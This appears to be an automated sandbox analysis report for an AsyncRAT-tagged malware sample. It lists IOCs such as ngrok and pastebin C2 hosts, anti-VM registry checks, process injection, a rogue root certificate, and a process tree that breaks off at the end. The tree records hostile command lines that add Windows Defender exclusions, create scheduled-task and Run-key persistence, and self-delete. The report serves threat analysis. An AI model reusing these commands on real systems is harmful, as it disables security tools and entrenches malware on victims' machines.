asyncrat | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	mQxBvlTA.exe

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral4/files/0x0002000000025c8c-756.dat	net_reactor

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mQxBvlTA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	mQxBvlTA.exe

Executes dropped EXE 9 IoCs

pid	Process
4860	alex1234.exe
1244	build6_unencrypted.exe
1256	Traffic.exe
2132	propro.exe
2636	native.exe
1756	mQxBvlTA.exe
1032	alex12341.exe
3508	timeSync.exe
2808	1.exe

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x000400000002a7db-155.dat	themida
behavioral4/files/0x000100000002a80c-1990.dat	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mQxBvlTA.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 35 IoCs

Web Service

T1102

flow	ioc
648	ed49-36-90-67-112.ap.ngrok.io
1487	mail.ed49-36-90-67-112.ap.ngrok.io
1590	pop3.ed49-36-90-67-112.ap.ngrok.io
2033	imap.ed49-36-90-67-112.ap.ngrok.io
74	pastebin.com
381	ed49-36-90-67-112.ap.ngrok.io
1448	pop.ed49-36-90-67-112.ap.ngrok.io
1987	pop3.ed49-36-90-67-112.ap.ngrok.io
524	ed49-36-90-67-112.ap.ngrok.io
817	ed49-36-90-67-112.ap.ngrok.io
1069	pastebin.com
1266	mail.ed49-36-90-67-112.ap.ngrok.io
7	raw.githubusercontent.com
2137	discord.com
999	pastebin.com
1004	mail.ed49-36-90-67-112.ap.ngrok.io
1057	ed49-36-90-67-112.ap.ngrok.io
45	pastebin.com
528	ed49-36-90-67-112.ap.ngrok.io
565	ed49-36-90-67-112.ap.ngrok.io
682	ssh.ed49-36-90-67-112.ap.ngrok.io
915	ftp.ed49-36-90-67-112.ap.ngrok.io
116	pastebin.com
348	ed49-36-90-67-112.ap.ngrok.io
1509	imap.ed49-36-90-67-112.ap.ngrok.io
1819	imap.ed49-36-90-67-112.ap.ngrok.io
2309	discord.com
4	raw.githubusercontent.com
613	mail.ed49-36-90-67-112.ap.ngrok.io
615	ftp.ed49-36-90-67-112.ap.ngrok.io
999	ssh.ed49-36-90-67-112.ap.ngrok.io
1222	pop.ed49-36-90-67-112.ap.ngrok.io
627	ed49-36-90-67-112.ap.ngrok.io
1785	mail.ed49-36-90-67-112.ap.ngrok.io
1802	mail.ed49-36-90-67-112.ap.ngrok.io

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
45	ipinfo.io
86	api.myip.com
108	api.myip.com
111	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1756	mQxBvlTA.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4860 set thread context of 4844	4860	alex1234.exe	80
PID 1032 set thread context of 660	1032	alex12341.exe	104
PID 2808 set thread context of 2628	2808	1.exe	106

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6976	sc.exe
6152	sc.exe
6196	sc.exe
6140	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 12 IoCs

pid	pid_target	Process	procid_target
4892	3508	WerFault.exe	95
1708	4592	WerFault.exe	151
5556	5600	WerFault.exe	182
2700	2996	WerFault.exe	159
2156	2996	WerFault.exe	159
488	6116	WerFault.exe	184
5572	5960	WerFault.exe	198
5416	6564	WerFault.exe	236
7632	6564	WerFault.exe	236
5624	6124	WerFault.exe	276
2236	2648	WerFault.exe	296
3428	2648	WerFault.exe	296

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	timeSync.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	timeSync.exe

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2808	schtasks.exe
1636	schtasks.exe
7112	schtasks.exe
904	schtasks.exe
6808	schtasks.exe
7072	schtasks.exe
10364	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
1828	WMIC.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
6152	tasklist.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	propro.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	propro.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4668	PING.EXE
7536	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1244	build6_unencrypted.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
784	powershell.exe
784	powershell.exe
572	powershell.exe
572	powershell.exe
3508	timeSync.exe
3508	timeSync.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3540	FUCKER.exe
Token: SeDebugPrivilege	1244	build6_unencrypted.exe
Token: SeDebugPrivilege	1256	Traffic.exe
Token: SeDebugPrivilege	784	powershell.exe
Token: SeDebugPrivilege	572	powershell.exe
Token: SeBackupPrivilege	1256	Traffic.exe
Token: SeSecurityPrivilege	1256	Traffic.exe
Token: SeSecurityPrivilege	1256	Traffic.exe
Token: SeSecurityPrivilege	1256	Traffic.exe
Token: SeSecurityPrivilege	1256	Traffic.exe
Token: SeDebugPrivilege	1244	build6_unencrypted.exe
Token: SeDebugPrivilege	2636	native.exe
Token: SeDebugPrivilege	1756	mQxBvlTA.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 4860	3540	FUCKER.exe	78
PID 3540 wrote to memory of 4860	3540	FUCKER.exe	78
PID 3540 wrote to memory of 4860	3540	FUCKER.exe	78
PID 4860 wrote to memory of 4844	4860	alex1234.exe	80
PID 4860 wrote to memory of 4844	4860	alex1234.exe	80
PID 4860 wrote to memory of 4844	4860	alex1234.exe	80
PID 4860 wrote to memory of 4844	4860	alex1234.exe	80
PID 4860 wrote to memory of 4844	4860	alex1234.exe	80
PID 4860 wrote to memory of 4844	4860	alex1234.exe	80
PID 4860 wrote to memory of 4844	4860	alex1234.exe	80
PID 4860 wrote to memory of 4844	4860	alex1234.exe	80
PID 3540 wrote to memory of 1244	3540	FUCKER.exe	81
PID 3540 wrote to memory of 1244	3540	FUCKER.exe	81
PID 4844 wrote to memory of 1256	4844	RegAsm.exe	82
PID 4844 wrote to memory of 1256	4844	RegAsm.exe	82
PID 4844 wrote to memory of 2132	4844	RegAsm.exe	83
PID 4844 wrote to memory of 2132	4844	RegAsm.exe	83
PID 4844 wrote to memory of 2132	4844	RegAsm.exe	83
PID 1244 wrote to memory of 784	1244	build6_unencrypted.exe	85
PID 1244 wrote to memory of 784	1244	build6_unencrypted.exe	85
PID 1244 wrote to memory of 572	1244	build6_unencrypted.exe	88
PID 1244 wrote to memory of 572	1244	build6_unencrypted.exe	88
PID 3540 wrote to memory of 2636	3540	FUCKER.exe	90
PID 3540 wrote to memory of 2636	3540	FUCKER.exe	90
PID 3540 wrote to memory of 2636	3540	FUCKER.exe	90
PID 3540 wrote to memory of 1756	3540	FUCKER.exe	91
PID 3540 wrote to memory of 1756	3540	FUCKER.exe	91
PID 3540 wrote to memory of 1756	3540	FUCKER.exe	91
PID 3540 wrote to memory of 1032	3540	FUCKER.exe	93
PID 3540 wrote to memory of 1032	3540	FUCKER.exe	93
PID 3540 wrote to memory of 1032	3540	FUCKER.exe	93
PID 3540 wrote to memory of 3508	3540	FUCKER.exe	95
PID 3540 wrote to memory of 3508	3540	FUCKER.exe	95
PID 3540 wrote to memory of 3508	3540	FUCKER.exe	95
PID 3540 wrote to memory of 2808	3540	FUCKER.exe	96
PID 3540 wrote to memory of 2808	3540	FUCKER.exe	96
PID 3540 wrote to memory of 2808	3540	FUCKER.exe	96
PID 2808 wrote to memory of 4088	2808	1.exe	98
PID 2808 wrote to memory of 4088	2808	1.exe	98
PID 2808 wrote to memory of 4088	2808	1.exe	98
PID 2808 wrote to memory of 2844	2808	1.exe	99
PID 2808 wrote to memory of 2844	2808	1.exe	99
PID 2808 wrote to memory of 2844	2808	1.exe	99
PID 1032 wrote to memory of 2336	1032	alex12341.exe	100
PID 1032 wrote to memory of 2336	1032	alex12341.exe	100
PID 1032 wrote to memory of 2336	1032	alex12341.exe	100
PID 2808 wrote to memory of 2848	2808	1.exe	101
PID 2808 wrote to memory of 2848	2808	1.exe	101
PID 2808 wrote to memory of 2848	2808	1.exe	101
PID 1032 wrote to memory of 356	1032	alex12341.exe	102
PID 1032 wrote to memory of 356	1032	alex12341.exe	102
PID 1032 wrote to memory of 356	1032	alex12341.exe	102
PID 2808 wrote to memory of 2992	2808	1.exe	103
PID 2808 wrote to memory of 2992	2808	1.exe	103
PID 2808 wrote to memory of 2992	2808	1.exe	103
PID 1032 wrote to memory of 660	1032	alex12341.exe	104
PID 1032 wrote to memory of 660	1032	alex12341.exe	104
PID 1032 wrote to memory of 660	1032	alex12341.exe	104
PID 2808 wrote to memory of 2728	2808	1.exe	105
PID 2808 wrote to memory of 2728	2808	1.exe	105
PID 2808 wrote to memory of 2728	2808	1.exe	105
PID 1032 wrote to memory of 660	1032	alex12341.exe	104
PID 1032 wrote to memory of 660	1032	alex12341.exe	104
PID 1032 wrote to memory of 660	1032	alex12341.exe	104

C:\Users\Admin\AppData\Local\Temp\FUCKER.exe
"C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Users\Admin\AppData\Local\Temp\Files\alex1234.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\alex1234.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4844
  - - C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1256
  - - C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      PID:2132
- C:\Users\Admin\AppData\Local\Temp\Files\build6_unencrypted.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\build6_unencrypted.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'build6_unencrypted.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\build6_unencrypted.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:572
- C:\Users\Admin\AppData\Local\Temp\Files\native.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\native.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- C:\Users\Admin\AppData\Local\Temp\Files\mQxBvlTA.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\mQxBvlTA.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:1756
- C:\Users\Admin\AppData\Local\Temp\Files\alex12341.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\alex12341.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2336
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:356
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:660
  - - C:\Users\Admin\AppData\Roaming\configurationValue\TWO.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\TWO.exe"
      4⤵
      PID:1168
  - - C:\Users\Admin\AppData\Roaming\configurationValue\olehpsp.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\olehpsp.exe"
      4⤵
      PID:4984
- C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:3508
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\FHCGHJDBFI.exe"
    3⤵
    PID:2188
  - - C:\Users\Admin\AppData\Local\Temp\FHCGHJDBFI.exe
      "C:\Users\Admin\AppData\Local\Temp\FHCGHJDBFI.exe"
      4⤵
      PID:5072
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\FHCGHJDBFI.exe
        5⤵
        
        PID:4732
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 2.2.2.2 -n 1 -w 3000
        6⤵
        Runs ping.exe
        
        PID:4668
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3508 -s 2640
    3⤵
    - Program crash
    PID:4892
- C:\Users\Admin\AppData\Local\Temp\Files\1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4088
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2844
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2848
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2992
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2728
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2628
- C:\Users\Admin\AppData\Local\Temp\Files\pinguin.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\pinguin.exe"
  2⤵
  PID:1796
- C:\Users\Admin\AppData\Local\Temp\Files\images.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\images.exe"
  2⤵
  PID:3444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /C AT /delete /yes
    3⤵
    PID:4652
  - - C:\Windows\SysWOW64\at.exe
      AT /delete /yes
      4⤵
      PID:864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
    3⤵
    PID:4884
  - - C:\Windows\SysWOW64\at.exe
      AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
      4⤵
      PID:4272
- C:\Users\Admin\AppData\Roaming\wshom\liveupdate.exe
  C:\Users\Admin\AppData\Roaming\wshom\liveupdate.exe
  2⤵
  PID:3940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    PID:3500
  - - C:\Windows\System32\certutil.exe
      C:\Windows\System32\certutil.exe
      4⤵
      PID:936
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:1560
- C:\Users\Admin\AppData\Local\Temp\Files\file.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\file.exe"
  2⤵
  PID:3456
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"
    3⤵
    PID:3288
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\update.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\update.exe"
      4⤵
      PID:2604
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup.exe"
      4⤵
      PID:648
- C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"
  2⤵
  PID:560
- C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"
  2⤵
  PID:3080
- C:\Users\Admin\AppData\Local\Temp\Files\PCSupport.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\PCSupport.exe"
  2⤵
  PID:4068
- - C:\Users\Admin\AppData\Local\PhantomSoft\Support\winvnc.exe
    C:\Users\Admin\AppData\Local\PhantomSoft\Support\winvnc.exe
    3⤵
    PID:4616
- C:\Users\Admin\AppData\Local\Temp\Files\hghgfhjfhmain.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\hghgfhjfhmain.exe"
  2⤵
  PID:3188
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "fgfdhdgg" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\gfgfgf\gfdgfdg.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:904
- C:\Users\Admin\AppData\Local\Temp\Files\%E9%A3%9E%E8%9B%BE%E5%B7%A5%E5%85%B7%E7%AE%B1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\%E9%A3%9E%E8%9B%BE%E5%B7%A5%E5%85%B7%E7%AE%B1.exe"
  2⤵
  PID:3448
- C:\Users\Admin\AppData\Local\Temp\Files\hv.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\hv.exe"
  2⤵
  PID:3288
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    3⤵
    PID:5064
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Remove-ItemProperty-Path'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'-Name'LibraryApp_for_translators_and_linguists';New-ItemProperty-Path'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'-Name'LibraryApp_for_translators_and_linguists' -Value '"C:\Users\Admin\AppData\Local\LibraryApp_for_translators_and_linguists\LibraryApp_for_translators_and_linguists.exe"' -PropertyType 'String'
    3⤵
    PID:888
- C:\Users\Admin\AppData\Local\Temp\Files\H667H.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\H667H.exe"
  2⤵
  PID:1888
- C:\Users\Admin\AppData\Local\Temp\Files\rtx.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rtx.exe"
  2⤵
  PID:4928
- - C:\Users\Admin\AppData\Local\Temp\Files\rtx.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\rtx.exe"
    3⤵
    PID:2480
- C:\Users\Admin\AppData\Local\Temp\Files\amad.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\amad.exe"
  2⤵
  PID:1848
- C:\Users\Admin\AppData\Local\Temp\Files\cp.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"
  2⤵
  PID:3708
- C:\Users\Admin\AppData\Local\Temp\Files\VLTKTanthuTN.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\VLTKTanthuTN.exe"
  2⤵
  PID:2084
- C:\Users\Admin\AppData\Local\Temp\Files\un300un.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\un300un.exe"
  2⤵
  PID:3488
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    PID:3568
  - - C:\Users\Admin\Pictures\lSZ78JMLCrltYrHu8KSlhHJb.exe
      "C:\Users\Admin\Pictures\lSZ78JMLCrltYrHu8KSlhHJb.exe"
      4⤵
      PID:2996
    - - C:\Users\Admin\AppData\Local\Temp\u2b8.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u2b8.0.exe"
        5⤵
        
        PID:6116
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\FIDHIEBAAK.exe"
        6⤵
        
        PID:6812
        
        C:\Users\Admin\AppData\Local\Temp\FIDHIEBAAK.exe
        
        "C:\Users\Admin\AppData\Local\Temp\FIDHIEBAAK.exe"
        7⤵
        
        PID:6848
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\FIDHIEBAAK.exe
        8⤵
        
        PID:6528
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 2.2.2.2 -n 1 -w 3000
        9⤵
        Runs ping.exe
        
        PID:7536
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6116 -s 3528
        6⤵
        Program crash
        
        PID:488
    - - C:\Users\Admin\AppData\Local\Temp\u2b8.1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u2b8.1.exe"
        5⤵
        
        PID:1480
      - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        6⤵
        
        PID:4272
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2996 -s 1544
        5⤵
        Program crash
        
        PID:2700
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2996 -s 708
        5⤵
        Program crash
        
        PID:2156
  - - C:\Users\Admin\Pictures\rK59Yiz8OESY753hxuDjE5qR.exe
      "C:\Users\Admin\Pictures\rK59Yiz8OESY753hxuDjE5qR.exe"
      4⤵
      PID:3144
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:9184
  - - C:\Users\Admin\Pictures\ocbOlULhabTqXeuvTQ6Goxlz.exe
      "C:\Users\Admin\Pictures\ocbOlULhabTqXeuvTQ6Goxlz.exe"
      4⤵
      PID:3232
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:7016
  - - C:\Users\Admin\Pictures\OszS1iSN7vEHUpvpW7OBHjFU.exe
      "C:\Users\Admin\Pictures\OszS1iSN7vEHUpvpW7OBHjFU.exe"
      4⤵
      PID:2988
    - - C:\Users\Admin\AppData\Local\Temp\7zS2783.tmp\Install.exe
        
        .\Install.exe /dQndidvBp "385118" /S
        5⤵
        
        PID:5560
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:6064
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:5764
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:6568
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
